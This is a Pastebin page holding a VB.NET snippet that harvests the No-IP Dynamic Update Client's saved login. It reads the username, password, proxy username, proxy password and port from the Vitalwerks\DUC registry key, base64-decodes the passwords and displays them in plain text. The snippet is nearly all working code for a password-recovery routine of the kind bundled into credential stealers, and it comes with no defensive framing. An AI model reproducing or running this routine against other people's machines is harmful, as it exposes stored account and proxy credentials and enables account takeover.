Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'Base 64 Decode For Decoding No-IP Passwords Which Are Encoded Using Base64
- Public Function base64Decode(ByVal data As String) As String
- Try
- Dim encoder As New System.Text.UTF8Encoding()
- Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder()
- Dim todecode_byte As Byte() = Convert.FromBase64String(data)
- Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length)
- Dim decoded_char As Char() = New Char(charCount - 1) {}
- utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0)
- Dim result As String = New [String](decoded_char)
- Return result
- Catch e As Exception
- Throw New Exception("Error in base64Decode" & e.Message)
- End Try
- End Function
- 'Sub For No-IP Gets The Registry Keys And Uses The Base64 Function To Decode The Passwords
- Sub NoIPRec()
- On Error GoTo X
- Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
- Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
- Dim ProxyUsername As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyUsername", Nothing)
- Dim ProxyPassword As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyPassword", Nothing)
- Dim ProxyPort As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyPort", Nothing)
- Dim NL As String = vbNewLine
- TextBox1.Text = TextBox1.Text + "-No IP-" + NL + "Username: " + Username + NL + "Password: " + base64Decode(Password) + NL + "Proxy Username:" + ProxyUsername + NL + "Proxy Password: " + base64Decode(ProxyPassword) + NL + "Proxy Port: " + ProxyPort + NL + NL
- X:
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement